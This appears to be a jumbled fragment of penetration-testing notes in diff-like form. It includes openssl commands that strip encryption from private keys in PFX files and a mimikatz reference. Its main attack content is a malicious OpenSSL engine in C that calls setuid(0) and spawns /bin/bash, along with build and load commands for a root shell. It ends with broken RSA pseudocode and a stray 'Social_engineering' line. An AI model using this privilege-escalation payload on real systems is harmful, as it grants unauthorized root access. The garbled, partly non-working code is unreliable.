openssl pkcs12 -in cert.pfx -nocerts -out key.pem -nodes
-openssl pkcs12 -in cert.pfx -out cert.pem -clcerts -nokeys
-mimikatz to cqureopenssl pkcs12 -in *.pfx -out temp.pem -nodes
-openssl pkcs12 -export -out *.pfx -in temp.pem
-Most minimal example
-#include <openssl/engine.h>
-
-static int bind(ENGINE *e, const char *id)
-{
- return 1;
-}
-
-IMPLEMENT_DYNAMIC_BIND_FN(bind)
-IMPLEMENT_DYNAMIC_CHECK_FN()
-#include <openssl/engine.h>
-#include <unistd.h>
-
-static int bind(ENGINE *e, const char *id)
-{
- setuid(0);
- setgid(0);
- system("/bin/bash");
-}
-
-IMPLEMENT_DYNAMIC_BIND_FN(bind)
-IMPLEMENT_DYNAMIC_CHECK_FN()
-gcc -fPIC -o rootshell.o -c rootshell.c
-gcc -shared -o rootshell.so -c -lcrytpo rootshell.o
-openssl engine -t `pwd`/rootshell.so
-p * q = nThere is also = (p-1) * (q-1)
-Encryption, public key e is a prime between 2 and phi -->
-
possible_e = []
-for i in range (2, phi):
- if gcd(n, i) == 1 and gcd(phi, i) == 1:
- possible_e.append()
-d -->
-possible_d = []
-for i in range (phi + 1, phi + foo):
- if i * e mod phi == 1 :
- possible_d.append()
-def gcd(a, b):
- if b == 0:
- return a
- return gcd(b, a % b)
-
Social_engineering